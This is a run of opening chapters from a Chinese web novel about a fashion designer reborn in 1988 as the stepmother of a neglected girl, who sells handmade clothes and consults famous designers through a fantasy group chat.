《后妈每晚都水群[八零]》 1. 艾小莲 《后妈每晚都水群[八零]》全本免费阅读 这是什么味道？ 仿佛是有人刚炒菜完不久遗留下的气味，又好像是人间烟火具象化后浓缩出的味道。 可自己不是受主办方邀请在意国参加金剪刀奖评选吗？ 不对，水非仙想，她依稀记得，在走出展厅的那一瞬间，是有个陌生人对自己开枪，中枪后自己处于持续半清醒状态，耳鸣声不断，手脚逐渐冰凉，在耳鸣声中她分明听到医生宣布自己死亡。 如今为何又突然恢复嗅觉，还能闻到本不该出现在意国的气味？ 将全身的力气集中在眼皮上，她用尽力气睁开双眼。 眼前是白色的天花板，难道是医院？ 随着她的视线向下游移，入目的却是一床玫红色被子，被子上还印着两朵褐色的牡丹花。她所在床对面更是一个具有时代气息的紫色铁制衣架，衣架上挂着几件水非仙不愿点评的衣服。衣架的左边，是一台老式飞人牌脚踏缝纫机，这样的古董，哪怕是水非仙这样的深资历服装设计师，也才有机会碰过几次。 衣架的右边，是一个木制的梳妆台，外面刷了一层淡色的漆，上面还立着椭圆形的镜子。水非仙缓口气后，侧过身用双手抓紧床边，起身站立几秒，感觉到自己能站稳后，缓缓移动到镜子前。 那镜中女子有着一双清澈的杏仁眼，青丝如瀑，五官美得很有攻击性。眼前的自己虽与水非仙本身有着七成相似，水非仙却很肯定，这不是她自己。以水非仙的年龄，脸上的胶原蛋白可没那么多。 “咚咚咚。”一阵敲门声传来。 恢复身体机能的水非仙，立刻前去应门。 迈出卧房的水非仙脚步迟疑片刻，这间房屋采光效果很差。那客厅的窗户，是老式木框与玻璃相结合，整个窗户被分割成很多部分，只有其中一两块，上面附带铁制把手，可用来开窗。 那一眼能够望到的厨房更是没有开过火的样子，所以这炒菜味是自何处来？自己又为何在这样“复古”的房屋内，这是哪里？ 只呆愣片刻，那敲门声再一次传来，水非仙立刻上前去开门。 这门的样子水非仙也从未见过，它的门锁处既不是水非仙熟悉的按压式把手，也不是旋钮式门锁，这样的门锁水非仙甚至没见过——它是在门锁的右边，伸出一个细小的金属把手，水非仙上下摆动后没有反应，又试着将它抽出，果然，门即刻打开。 “小水啊，你在家里，怎么开门开得这样晚？是还在睡着吗？”门外站着一位轻微蹙着眉头，满头银发齐肩，五十岁左右的大姐，手里拿着个小尺寸的搪瓷盆子。 水非仙张口，还没来得及发出声音。 那大姐又将身子往前探一些，继续压低声音开口，“小水，大姐没有别的意思，这次来只是想劝劝你，建国已经走了，那小莲到底是你的女儿，咱们家属院这房子，她还小，自然是你的。你要是好好对小莲，那人心都是肉长的，将来她也是你的依靠不是？今天中午我孙子回来说，小莲今天中午又不打算回家，就在学校门口找个小台阶坐着等下午直接上学。小莲的学校念书的都是咱们厂工人的孩子，大家都是认识的，也不好看不是。王姐我既然管着居委会，想你们现在也困难，这不带了点鹌鹑蛋，你们两个做得吃上。” 说罢，王姐将手中的鹌鹑蛋往水非仙怀里一塞。 听到王姐叽里咕噜的一番长篇大论，水非仙似乎意识到什么，她试探性地回答，“之前我因为家里那口子的事难过确实忽略了艾小莲，以后不会了，王姐放心。” 王姐听到她的回答，满意地点点头，留下话说有需要就找她，便离开。 王姐走后，水非仙关上门，手搭在门口自家打的鞋柜上，食指一下一下轻轻点起来。 通过刚才王姐给的信息以及她的试探验证，可以肯定目前的情况是穿书。 这是水非仙临终前看的最后一本网络小说。一篇九十年代的狗血校园爱情文，女主名为艾小莲，可以说是灰姑娘本娘。 艾小莲出生之时便没了母亲，在她九岁时父亲艾建国便娶了只比艾小莲大十岁的水非仙为妻。在娶妻一个月后，艾建国去完成高空作业，维修吊车，由于当年并无安全保障设施，艾建国不慎从高空摔下，当场身亡。他所在起重机厂，给艾建国家属赔付慰问金两千元，尽数归后妈所有。就连艾建国遗留下的，起重机厂分配的房子，也被后妈一个人独吞。 这两千块虽然是当时艾建国十个月的工资，却在没多久后便被后妈用尽。因为不愿工作，后妈带着艾小莲改嫁给一位老男人。那老男人爱喝酒，喝完酒就喜欢用皮带抽艾小莲。后妈为此视而不见，或者说她的眼里从来没有过艾小莲。 艾小莲便在这样一个极度缺爱的环境下长大，直到上高中的时候遇到本文的男主，男主对她不过是施舍般的偶尔温柔，艾小莲便觉得对方是上天赐给自己的可贵阳光。也因此，后来男主在与女二纠缠不清时，艾小莲从楼顶一跃而下，男主为此抱憾终身，孤独终老。 去他个鬼的遗憾终身孤独终老！水非仙当时看这篇文被气得半死，人都死了才谈后悔？ 这篇文里的后妈与自己同名同姓，小助理为此把这篇文推给自己。可她不知道，水非仙与艾小莲的情况差不多，她也从小失去父母，从福利院长大。水非仙边看书边狠狠共情艾小莲，自己小时候也有点讨好性人格。 因此看到那个结局，她恨不得刀了作者。那男主分明就是一直在pua小莲，还遗憾终身，作者难不成以为自己这样写显得很虐很深情吗？ 也罢，既然已来到此处，她不会再眼见着小莲走上老路，更何况对方目前是自己的女儿。就当重新养一回小时候的自己，也是给自己补上一块人生拼图。 水非仙边分析目前的状况边往卧室走去，根据现有的信息，可以推断出今年是1988年，也就是艾建国刚去世不久。目前自己能用的有一台缝纫机，得找到那笔抚慰金，现下最重要的是不能再饿着小莲，还得去批发市场淘一些布料，做几件衣裳拿到街上去买，以养活自己和小莲。 想到小莲，也不知道多少个中午都没饭吃，只怕早饭更吃不上。她今年三年级，分明是长身体的重要时期。想到这里，水非仙气得牙痒痒，作者怎么给这个后妈和自己一样的名字，真是耻辱。 她回到卧室，一眼看到这具身体的“死因”，亏原主还是高中毕业生，居然能干出头孢就酒这种事。水非仙翻个白眼，看向床头的位置，一般来说，人类喜欢把重要的金钱藏在枕头附近，不是床头柜，就是枕头底下被褥底下什么的。 床头的体积似乎略大些，以原主的懒惰程度，上面居然能毫无灰尘？她抓起床头，轻轻一掰，便开了。 其实，九十年代初的床头，里面都会藏有一个柜子，人们喜欢把重要的物品放在里面。 果然，都在里面，房产证、自己的高中毕业证、身份证户口本以及几张现金。 水非仙拿出来数了数，只剩下一千块 2. 珍妮朗万 《后妈每晚都水群[八零]》全本免费阅读 那敲门声短促大声且毫无规律，能听出这声音制造者缺乏耐心。 水非仙不自觉微微蹙眉，拿起案板旁的布子擦擦手后前去开门。 她站在门前怀念起门镜带来的便捷和安全感，可惜门镜要到九零年后才逐渐普及。 打开门后还没看清是谁，就见一个人直挺挺冲进来。 那是一位看起来四十左右的女子，鹰钩鼻，顶着一头泡面般的发型，目露精光。 她进门后先用力嗅嗅屋内的香气，再微微扬起下巴，用施舍的语气道，“小水，你托我办的事，总算有眉目了。” 水非仙也不说话，眼睛黏在对方没有换鞋直接踩进屋内的双脚上。艾建国为娶原主，家中出重金铺满八零年代末最流行的小块瓷砖。这种瓷砖每块之间有条黑色的粗壮缝隙，清理起来会更加困难一些。 对方见水非仙不说话，扬起大手重重拍下水非仙的肩膀，“怎么？这就乐傻了？我告诉你，这次你赵姐我可是几乎跑断了腿。这位的条件跟你家建国差不多，是橡胶厂的，铁饭碗，还没有孩子，只是比建国大上几岁，但这也并不妨碍，毕竟男人嘛。” 水非仙总算明白对方此行为何。她后退一步，躲开这位赵姐的大手，正色道，“之前是我脑子糊涂，给您添了麻烦。我现在已经想明白，暂时不打算结婚，以后恐怕也没这个想法。还是感谢您为我白忙一场。” 听得这话，赵姐像表演变脸一般迅速更换脸色，她眼神上下来回打量一番水非仙，混着鼻音道，“不是姐说你，你都这个岁数了，还带个孩子，没个关系想找个供销社或是纺织厂那样的好工作怕是不能够。除了嫁人你还能做什么？给人看大门吗？怕不是看不上姐给你介绍的这位吧，姐实话跟你讲，要不是你长得不错，还有套房，姐就是笑烂了脸都给你找不上这么好条件的对象。” 这话水非仙实在不爱听，若水非仙真是原身那个十九岁的女孩，恐怕听到这话就会动摇，真以为对方是为自己考虑。可就算水非仙心里清楚这赵姐这番言论为何，这么急切恐怕是收过男方那边的好处。街坊邻居也不能轻易撕破脸。她耐着性子，重复一遍，“抱歉，赵姐，我想您误会了。我是真的不打算再嫁，没有挑剔您劳动成果的意思。” 那赵姐轻嗤一声，“你想靠自己养活这小拖油瓶只怕不容易，我今天也算开了眼界，居然有人放着清福不去享的。得，就算我倒霉，白忙活。”她说罢眼神又往厨房瞟去。 “小莲不是拖油瓶，她是我的女儿，孩子可以听见，请您道歉。”水非仙直视着赵姐的眼睛。 “什么？”那赵姐不敢相信自己的耳朵，“我都能当小莲的奶奶了，你让我跟她道歉？”她的声音随着语调的抬高显得愈发尖细起来。 “是的，请您道歉。”水非仙重复。 “罢了，今天就当我白来，真是枉做好人！一家子精神不正常的。”说罢，赵姐刚想抬腿离开。又向厨房望一眼，见水非仙并无反应。她恶狠狠挖一眼水非仙，哐的一声摔上门离开。 她离开后，水非仙靠近大门，仔仔细细地检查，这个时代的门，还不知道质量如何？万一摔坏，孤儿寡母得不安全，得尽快找人修。 “我不需要道歉的。”身后突然飘来小奶猫一般的声音。 “你当然需要，她对不起你，就得跟你道歉。”水非仙立刻转过身来，换上慈祥的笑容。“快来吃饭吧！” 接着，水非仙迅速将五花肉盖饭塞了满满两碗，放在小莲和自己身前。 “她那么说你，不是因为你不好，你很好，值得最好的。只是我还没有那个能力让她觉得需要尊重我和我身边的人。但小莲，妈妈跟你保证，这是暂时的，再给妈妈一段时间，总有一天，不会再有人因为我的实力不够而看不起咱们母女俩。” 艾小莲将碗轻轻往自己的方向又拉近些，才拿起筷子，把脸整个低下去，一点一点吃起饭。她吃饭的时候，桌上掉不下一粒米，一滴油。她小口小口仔细品尝着，就像这是最后一顿美食一般，那样品尝着。 水非仙看着她头发枯黄，手背粗糙的样子，恍惚之间仿佛和小时候的自己重合了。鼻子不知为何，有些酸酸的。 水非仙想，得慢慢来，不能着急，信任的建立又怎是一朝一夕可以完成的。便也低头吃起来。第一次用蜂窝煤烧饭，可能是心理作用，这样做出的饭口感似乎比生前米其林五星级餐厅的大作都要美味。 她才吃没几口。又听到小莲小声地问，“那你，是真的要再结婚吗？” 水非仙抬头，却见艾小莲快速低下头，不敢与她对视。 水非仙也下意识放低声音，害怕吓到她，“我是真的没有这个想法。你可能不知道，我会做衣服。以后就卖衣服养活我们两个。万一有一天，我想再嫁，我会和你商量，尊重你的意见，因为小莲是我在这世界上唯一的亲人。不过你放心，无论如何，在你能够独立之前，我不会有这方面的考虑。” 艾小莲听到这话没有抬头也没有回应，只是捏住筷子的手紧了又紧。 她可以相信吗？她不敢，她害怕她的信任再一次换来失望。 九岁的艾小莲想，眼前的这位可能不是从前的水非仙。如果是，那她会有别的目的，她不可以信。如果不是，自己万一开始依赖她，她就一定会丢下自己离开的。因为每一个对小莲好的人都会离开。 小莲吃完后便被水非仙赶去写作业。小莲快速回房，又迅速锁上门。 而水非仙在收拾完餐具后也回房间带上门，她不确定老式缝纫机的声音会不会打扰到小莲学习。 水非仙的手触碰到缝纫机的一瞬间，突然听到一声突兀的电子音“恭喜您加入优秀设计师群！” 这声音一瞬间让水非仙误以为自己还活在前世。可这周围一切均没有发生改变，难道是自己幻听？ 她闭上眼，甩甩头，以前网上冲浪刷到过，这样做可以缓解幻听。 可在她闭上眼后的第五秒，眼前突然跳出一个聊天界面。 上面显示: 优秀设计师（3） 水非仙加入群聊、珍妮朗万加入群聊、伊夫圣罗兰加入群聊。提示:1.系统将持续更新，群主届时可邀请更多优秀设计师进群。2.本系统附赠海豹突击队休息效果。 开什么国际玩笑？自己除了幻听还开始幻视吗？而且自己什么时候睁开双眼的？ 水非仙想到这里迅速睁开双眼，看到的却还是自己的卧室。 她抱着尝试的态度，再一次闭上眼睛。 果然，五秒以后，群聊界面再一次出现在她的眼前。 不同的是，这一次群里已经有人发出聊天 3. 第一位客人 《后妈每晚都水群[八零]》全本免费阅读 水非仙最后呈现的作品具有显著的朗万风格。她上身一试，银紫色及膝裙搭配紧身腰带和紫色长外套，眼前俨然是一位英姿飒爽的朗万女郎。 她略感不妥，再次闭上眼。 水非仙:朗万前辈，这件作品具有您强烈的个人色彩，我这般“拿来”，会不会不好？ 珍妮朗万:亲爱的，你所处之地并无朗万。更何况，哪一位长跑健将幼时无需先扶着墙先学走路？等到你有能力找到自己风格的时候，就是你有能力开设自己品牌的时候。以你的资质，那一天不会太远。能够成为那面墙、成为一颗未来冉冉升起新星的启明星，是我的荣幸。 水非仙这才放心，睁开眼睛。 朗万前辈，真是温柔。 如此，水非仙不再矫情，趴在缝纫机前忙碌起来。夜还长，这些布料还够她做两套同样风格的女装和男装。 等到水非仙忙完再抬头，东边已有丝缕阳光透过窗户照射进来。水非仙被朝阳驱赶着，去为小莲制作早餐。 两个鸡蛋打下去，再加上面粉和水还有葱花，一张鸡蛋饼便烙好。她又炒些土豆丝，卷在鸡蛋饼中提味。水非仙连着做了好几个，取出两个，用布包好。 抬头看到女儿正好起来，洗漱完准备直接出门。 水非仙喊住艾小莲，先将蛋饼塞给艾小莲，又轻言细语地问，“我可以去接送你上下学吗？” 艾小莲听得这话，低下头咬住下唇，双手一把紧紧捏住裤腿，发出一声比昨天声音还要小的“好”字来。 “小莲你记好，跟妈妈在一起的时候，你只说出自己的想法就可以。我会尊重并学习去理解你，不会因为你拒绝我或者得到我不满意的答案就生气。好吗？”水非仙轻声问她。 “好。”艾小莲喃喃回答。 “还有一件事，以后中午你回家来哦。妈妈要去赚钱啦，你中午就回家，家里没有人的，我会在餐桌上准备好午饭和晚饭，你记得吃哦。吃完后碗筷留着我晚上回来收拾就好。” 艾小莲听到这话还是低着头，只是捏着裤腿的手逐渐松开。在打开门后的一瞬间，语气飞快地留下一句“再见”。然后迅速关上门逃离现场。 “小家伙还害羞了。”水非仙轻笑一声，拿起饼子边吃边为小莲准备午饭和晚饭。 全部做好后水非仙放在碗里装好，用另外两个空碗扣好。又在上面铺上一床被子。吃凉掉的食物，孩子容易肚子不舒服的。 全部做好后她将剩下的饼子打包好，这将是她一天的行军粮。 接着她回到房间，将房内的衣架拆下一部分，等到摆摊的地方再组装起来，便是一个可以用来卖衣服的衣架。又将昨晚的三套成果打包好。 她思考片刻，取出其中一套女装，自己换上。又去厨房拿上一只原木筷子。将自己的头发挽个发髻，插上筷子后去镜子前确认一番。 可以，很抓眼球。 带上打包好的东西，水非仙出门。 为防乘坐公交车压到衣服，水非仙步行走到距离起重机厂家属院最近的商场门口。 她掏出杆子，将衣架组装好后将两套衣服取出，并排挂在衣架上。 随后，自己又走到衣架前方。摆出自己从前和模特们学到的各种展示服装的姿势。 能来商场购买衣服的客户群体，本来就是这个时代消费能力最强、消费观念最先进的一批人。 为了塑造最佳视觉效果，水非仙始终暴晒在烈日之下。 一套好看的时装，在剪裁方面除却要完美贴合人体曲线，更是要将设计师跃然纸上精心设计的明暗对比完美表现出来。在阳光下一方面可以形成视觉冲击力，另一方面也能帮助懂行的买家看清细节。 没一会儿，便有从商场购物结束出来的人被吸引着围过来问价。 “美女，你这衣服怎么卖啊？”一对情侣走过来看着架子上的衣服问道。 “一百五一套。” “这么贵啊，你这衣服连个牌子都没有，价格都和梦特娇还有汇川这种大牌子差不多了。”二人吐槽道。 “抱歉，我这里不接受还价。” “神经病，这个价格卖得出去才有鬼。”二人骂骂咧咧地离开。 不能让步，水非仙只有一个人一双手，没有原始资本。即使有，这个时代也很难在做到量产的同时保证质量。既然无法从量上取得优势，只能从质下手。那单件产品的价格必定是不能低的。更何况，定价的目的本来也就是为筛选目标客户群体。 无独有偶，一天时间下来，这样的对话，发生无数次，无数双脚停留在过她的衣架前，却没有一双最终留下。 日头到正午时，就连旁边卖糖浆水的阿婆都忍不住道，“姑娘，你来树荫底下卖吧，太阳正毒，别中暑了。你这衣服卖太贵是不好卖出去的。” 水非仙微笑着摇摇头并谢过阿婆的好意。这点苦头都吃不下，自己又凭什么成功？今天哪怕是赚不到一分钱，能多给两个人留下印象，若他们在茶余饭后和身边的人能聊起来。那便是值得！ 水非仙就这么同太阳一起，完成一天的工作。直到太阳都对她说抱歉，升起晚霞，准备下班打卡，她才决定再站一个小时就收摊回去。 只是自己虽说是清楚结果会如何，心里还是很难压下这种不是滋味的酸涩感。对大部分设计师来说，每一件衣服都是自己的孩子，孩子不被认可，身为父母心里如何好受。 “你好，请问这衣服是要卖的吗？我可以试试尺寸吗？”一个低沉而富有磁性的声音传来。水非仙抬头一看，是一位穿着绅士礼服，梳着三七分大背头，长相看起来有几分像混血儿的男子，五官立体，眼眸深邃。 “当然，先生，衣服做来本就是为给人穿的。”水非仙摆摆手，示意他请便。 那男子脱下自己的外套，从中间对齐，一丝不苟又动作轻柔地将其搭在衣架上。 八九十年代，华国人在买衣服时，码数偏向选择偏大一些的。这样如果自己胖上一些，还能继续穿。为此，水非仙这两套衣服在制作时用的就是偏大一些的尺码。 恰巧这位男子个头高，也能看出他有运动的习惯，这身衣服正合他的尺寸。 “很好，我要了。不知你这里是否接定制？用于偏正式一点的场合，又不想和我这身燕尾服这样古板。没有什么其他特殊要求，请就这样帮我设计吧。”那男子脱下外套双手递给水非仙，边换上自己的衣服便说道。 水非仙接过衣服，为他打包好，不确定问道，“先生，这套是一百五十元，如果是私人定制，那需要五百元的高价。您确定 4. 伊夫圣罗兰 《后妈每晚都水群[八零]》全本免费阅读 “水小姐，欢迎你的到来。”眼前这位令所有设计师感到熟悉又陌生的男人此刻在面对自己时虽然看上去仍旧保持着优雅，却不难发现对方十分拘谨且有些手脚不知所措。 青涩的笑容，清瘦的身材，标志性的眼镜，是最初的少年模样啊，水非仙在心里感慨并同时不动声色地向后退两步，“麻烦您了，罗兰先生。” 伊夫点点头，丝毫没有同水非仙客套的兴趣，更没有多余的废话，伊夫带着水非仙在自己的房中四处参观。 每位设计师都有自己独特的风格，他们私人领地自然也不会例外。 罗兰先生的房间同他本人一样，陈设非常简洁，仔细看会发现哪怕是人体台，都摆放在最佳位置。不过他想要水非仙参观的，可不是这空空的房间。 他想要水非仙真正参观的，是房间的墙面，普通的墙面上挂着数不清的画作。有以梵高这类将对比色应用到极致的后印象派；有以蒙德里安这类彰显冷静形式美的抽象派；还有以毕加索这类曾帮助眼前这位罗兰先生领悟“现代”一词的立体主义画作。 “用心去感受这里，水小姐，我始终认为每一种艺术都有自己的表达方式，他们彼此之间是相通的。而服装，就是我们来表达艺术的方式，试着来领会我们与他们之间的共同点，用有形的艺术来感受抽象的艺术。” 伊夫圣罗兰早期的风格正是受这些画作的启发。水非仙曾在书籍上了解过。与今天不同的是，从前读到的是冷冰冰的文字，而今天，这些看似无关的画作出现在一起时，水非仙竟敏锐地捕捉到罗兰先生所说的真正含义，源源不断的灵感涌入她的脑海。 “笔，抱歉，罗兰先生，我想问您要一支笔和一张纸。”水非仙激动的心怦怦跳动，身为设计师她不是没有尝试过从画作中获取灵感。只是，从来没有这般充盈过，没有这样激动过，就好像一直沉睡的心猛然间跳动起来。灵感，那可是设计师们如同生命一般宝贵的存在。 “就是这样，水小姐，随时随地，将你的想法记录下来，哪怕是一种想表达的心情，一种想表达的颜色。”此刻的伊夫也受水非仙激动的情绪影响，一起陷入精神的愉悦中，他将笔和纸递过去后，自己也深受感染地开始低头创作。 等到水非仙将所有的灵感，留在纸上时，她才过瘾地抬起头来。伊夫听到动静，快步上前，拿起水非仙的创作便开始修改，此刻的他早已忘记自己不喜欢与人打交道这一点。 伊夫的修改速度很快，他将改完后的手稿递还给水非仙，补充道，“线条，水。你要记住，一件精致的成品，最直接能带给人冲击力的，便是它的线条。挺括的外形和复杂的剪裁，那属于歌剧舞台。线条恰当，将用料本身的特点发挥到极致，这才是艺术。” 眼前的罗兰先生在自己的领域充满着自信与张扬，水非仙突然就明白为什么那个人能再见到他第一眼时，便已沉沦。 二人再次交流一番后，水非仙最终选定采用柔软质料，突破这个时代华国男士正装的刻板印象，打造出舒爽柔美又俊逸的成品。只是想要找到符合自己的心意的材料，少不了明天的全城奔波。 “再次感谢您，罗兰前辈，打扰您这样久。”水非仙为伊夫鞠上一躬。 “请不要这样客气。”伊夫又恢复成最初那不善交际的样子，只是此刻他的眼中充斥着深深的怀念，“在某种程度上，你与当初那个想要自己出来单干的我也很像，区别是我不如你，我的身边还有个人帮我。” “这么问可能有些不礼貌，但我真的很想知道。您后悔吗，我指的是对于那个陪您走完最后旅程的人。”水非仙问道。 提到那个人，伊夫的嘴角不经意间露出一抹温柔的微笑，“我不后悔，水。我走过的每一步路，它们组合在一起，才是你眼前的伊夫圣罗兰。在我与他之间，我们彼此都有着绝对的自由。我想，哪怕重来一次，我还是会做出一样的选择。包括对他，和他都是。这样的爱，我才称之为轰轰烈烈。” 水非仙凝视着眼前的人，她突然明白设计师群聊的意义。最美的并不是这些耀眼夺目的作品，更不是他们蓬勃的灵感，而是这些设计师们自己，个个独一无二，无可替代。 结束通话后的水非仙睁眼回到自己的房间，此时的窗外太阳再次探出头来。 这次竟在群聊中消耗这么久的时间是水非仙没想到的，按照海豹突击队休息法的概念，在群聊中度过时间起到的休息效果与现实中的比应当是八比一，这也就是说，群聊中过去八个小时，现实中的时间才过去一个小时。从昨晚到现在应当已经过去八小时，这也就意味着水非仙在群聊中竟已经待上两天还要多上一些。 果然，当人沉迷在感兴趣的事物中时间就会过得更快一些。王质观棋，真是诚不我欺。 水非仙匆忙为艾小莲起身去做早餐，进到厨房，盘点过手中剩下的食材。水非仙这才想起还有王姐送过的鹌鹑蛋，这两天似乎做什么事都匆匆忙忙，再加上设计师群聊的突然出现。自己竟把这鹌鹑蛋的事忘得一干二净，水非仙暗骂自己，当初稀里糊涂地收下，竟完全忘记还礼。别看小小的鹌鹑蛋，这年代也并不便宜。 明后天吧，将成品交给买家后，自己看着弄点有营养的，得还给王姐才行。人情这东西，你来，我不往，多几次也就耗费干净了。 水非仙边这么想，边将鹌鹑蛋煮熟后剥皮，用热油煎至虎皮状。又下辣椒和蒜爆香，最后加入鸡蛋、生抽和蚝油还有糖来提鲜。 随着热油的“刺啦”一声，虎皮鹌鹑蛋的香气就像蘑菇蛋爆炸一样，迅速炸开，以不可抵挡之势散开。 水非仙听到艾小莲受不住诱惑，偷偷拧开房门，已经去洗手间开始洗漱。又过一小会儿，鹌鹑蛋甚至还没来得及出锅，左右邻居的厨房位置也传来锅碗瓢盆响动的声音。水非仙心中不受控制地产生一丝小得意，这样下去，小莲一定会被自己养得香香软软！ 鹌鹑蛋出锅后女儿已经在餐桌边坐下来，水非仙端着虎皮鹌鹑蛋走过去，“这是王阿姨送给小莲的鹌鹑蛋。” 艾小莲点点头，依然不敢抬头看自己。 “小莲是要在家里吃吗？你的饭盒，我也是准备好了的。在家里吃会不会迟到？”水非仙分明早就看到艾小莲出来坐好，她想刻意引逗着艾小莲与自己多说两句。 艾小莲紧咬着下嘴唇，想说什么但最终还是不敢，她摇摇头，夹起一颗虎皮鹌鹑蛋吃起来。吃下去半个后，可能是觉得自己不礼貌，又极小声地加上一句，“不会迟到。” 已经有进展，水非仙想，不能着急，不可以给她压力，今天到这里就可以。于是她没多说什么，假装不经意地同艾小莲说完再见后，到厨房收拾本来也没怎么脏根本不费事的碗筷，在厨房一直待到女儿出门后，才换身衣 5. 威尔士亲王格 《后妈每晚都水群[八零]》全本免费阅读 在水非仙的双眼热切地将铁门烧出大洞之前，院中终于有人出来应门。 “来了，等等。” 一位老妇人，看上去大概五六十岁，一头便于打理的短发，走到门前询问水非仙有什么事。她的两只袖子卷上去，手上还沾着水，边走过来边将两只手在身上蹭干净水分，应该是正在做晚饭。 “大姐，您好，我来买布料。” 那位老妇人上下打量一眼水非仙，便将门打开，让水非仙进来，领她到存放布料的房间。 “你随便看看，布料都放在这间屋，我家的布不是从纺织厂进的。是我儿子啊，在大城市做布料生意，定期会给我们老两口一些布，来养活我们。所以我家有的啊，你上外面是买不着的。” 水非仙看过屋中的布料，有不少以后都用得到，只是暂时没钱买下来。 “姐，我已经挑好了，就想要屋外的那匹带格子的。”威尔士亲王格，水非仙看到它第一眼，就找到自己想要的感觉。其本身低调又优雅的纹理感，无论搭配水非仙的设计也好又或是从与高歌个人气质的适配度来说，都是上佳。 “这……”那位老妇人看起来有些迟疑。 对方态度的不确定无疑是为此刻水非仙焦急的心态又添上一把火，“姐，是布料有什么问题吗？” 那老妇人急忙摇摇头，“我家的布料收到后，我都是会仔细检查一遍的，肯定都没有什么问题。只是外面摆着的那几匹，我儿子说那都是大城市有钱人爱穿的，让我摆着吸引人用，轻易不要卖的。要不你再看看里面呢，格子的也挺多，你看那匹，不是差不多吗？” 水非仙望向妇人所指方向，是一匹窗格纹的布料，她摇头道，“姐，窗格纹是很好，可惜不适合。” 身后传来开门声，水非仙看到一位提着一壶白酒背部有些佝偻的男人走进院中。 对方也发现水非仙，转头看向自己妻子，“老婆子，有客人来了怎么不请进去？”然后微笑着对水非仙打招呼，“来买布料啊？” 妇人愁眉不展地看向自己丈夫，“当家的，你来拿个主意，这姑娘想买咱们放在外面的这匹带格子的。” 听到妻子的话，眼前的男人也开始思索起来。水非仙连忙道，“是这样的，大哥大嫂，我是一位服装设计师，就是给人做衣服的，后面也有计划开自己的店，成立自己的品牌。我后面还会陆续从您这里买布料您看可以吗？我会定期每周来挑一次，长期合作，不论我要的外面有没有，都只跟您一家合作。” 那男人听到这话，似乎极为感兴趣，“品牌。是金利来这种吗？”金利来，八十年代华国第一个家喻户晓的品牌。在月收入一百多的年代，金利来一件单品就要大几百，且这时代的男人们，以有一条金利来腰带为荣。 “大哥，可能不会那么厉害，但我会尽力朝着这个方向发展。”水非仙为得到心仪的布匹，只能选择一边赔笑一边吹牛。其实她心里一点底都没有。 “也别叫大哥大嫂了，我们两个老东西都一脸褶子了，我家姓牛，喊我牛大叔喊她牛大婶就行。这布，我们便宜卖你，大叔看好你，有需要尽管过来，我们都给你便宜。以后成功了别把我们忘了就行。老婆子，给人家把布装起来。”牛大叔大手一挥，十分好说话。 “非常感谢，牛大叔牛大婶，我叫水非仙，住在起重机家属院。我会说话算话，一直来光顾生意的。”水非仙非常有礼貌地鞠上一躬。 最后，这匹威尔士亲王格以七十块的友情折扣价卖给水非仙。在踏出二人院门的那一刻，水非仙虽然心中欢喜，却也不忘提醒自己：水非仙，千万不要忘记这些低谷时期帮过你的人，牛家夫妇也好，王姐也好，都不欠你的。他日若鲜花铺路，定要涌泉相报今日的恩情。 见水非仙已经走远，牛大婶有些不解，问自己的丈夫道，“那布料在咱们这城市确实难得，前面也有大裁缝来问过，怎么就卖给这说大话的小姑娘，还是低价？” 牛大叔笑嘻嘻地放下白酒，洗手帮妻子准备晚饭。 “咱们啊，年龄大了，给儿子拖了这么多年后腿，这点钱咱俩就别贪了。管她是不是吹牛，就冲这小姑娘信誓旦旦，还很有礼貌的样子，就当帮儿子投资了。万一她真的能成，记着我们现在的恩情，以后也能帮到咱儿子。老婆子你可记住，人下次来买布料的时候，要哄着点昂。” “知道了，就你疼梁梁，我不疼啊？”牛大婶边说边从锅里夹出一筷子菜来，温柔地喂到牛大叔口中。 所谓爱出者爱返，福往者福来。大概就是这样。 匆忙赶回家中，天色已经黑透，只剩一个晚上的时间，水非仙没有空闲再做别的，火急火燎收拾完艾小莲中午和晚上吃饭时留下的碗筷，就直接回到卧室去将辛苦得来的威尔士格纹布做成成品。 在收拾碗筷时，水非仙看到艾小莲今天剩下的有些多。时间紧急她没来得及细想，只以为是女儿不爱吃蛋类食品，下次注意少做就好。这时的她还不清楚，在照顾孩子时，只是一点微末的细节没留神到，往往就能给人带来一次深刻的教训。 水非仙把自己关在屋内后马不停蹄地开始制作，布料宝贵。她每一步都要反复确认清楚才会上手去缝制。 当第一缕阳光照进卧室时，水非仙总算迎来自己的第一套成品，朝阳的红光为这套定制西装镶嵌上一条金边，她静静地品味着，时尚又优雅的轮廓，搭配上轻盈而富有流动性的质感，集典雅、舒适与健康于一身。若是配上高歌那阳刚型的身材，便会产生一种名为魅力的魔法。水非仙简直等不及想要看到自己客人的上身效果。 水非仙为赶时间，匆忙下楼到家属院对面的包子店买上两屉包子。家属院门口的包子店是住在这院中的住户自己开的，用料十足，皮薄肉厚，撕开都是满满的肉馅和涌出的汁液，光是看起来就香。 水非仙带着包子回家后，将它们分好，哪些包起来给女儿早上带走吃，哪些留着她中午和晚上吃，留着的要包起来防止冷掉，哪些要自己带着吃。 安排好后，水非仙走到艾小莲的房门前，轻轻敲敲女儿的门，“小莲，妈妈今天有事，需要早一些出门哦。给你准备的食物在老地方，不要睡过头哦，等会儿收拾一下就快点出发吧。” 听到里面传来艾小莲乖巧地回答“好。”水非仙带着成品衣服、上次没卖掉的女装以及衣架匆忙出门。客人说是今天，却没说具体是什么时候，早一些去等着准是没错的。 经过昨天一整天对这附近的摸索排查，水非仙再去那家商场时已经是轻车熟路。甚至还能穿过两条小巷，走个近路。 站在那商场门口，水非仙将支架组装好，把女装挂上去，就开始专心等待。 “早上好，昨天我有点事，所以没有来。”水非仙同那位在商场门口卖糖浆水的阿婆打着招呼。 那阿婆 6. 附加价值 《后妈每晚都水群[八零]》全本免费阅读 这座商场门口的街道呈T字形，而商场则坐落在T字的最底部。 没有必要一定等在商场门口，站在路口等也是一样的。这条街并不宽，商品价格也会卡掉很大一部分消费者。再加上又不是周末，导致这条街上有哪些人一眼就能看得到，只要自己认真一些，必然不会错过。 想到这里水非仙头也不回地离开，在离开前她听到赵春来语气慵懒地跟那卖糖浆水的阿婆说着话，“阿婆，来瓶冰汽水。你这健力宝还是三毛一瓶吧？给我记账上。” 那阿婆用讨好的语气说，“哎呀，春来，我们这些在门口卖东西的，哪个不是你帮忙的？本来就说好每天免费给你一瓶的，怎么又跟阿婆客气上了？” 水非仙不愿再听，快步离开。 88年的北方城市，绿化做得远没有后世那样好。已是秋天，路口的秋风席卷着热气，吹得人很不舒服。 水非仙在路口随便找个台子坐下来，看着眼前稀稀拉拉的车辆和行人，陷入短暂的迷茫中。 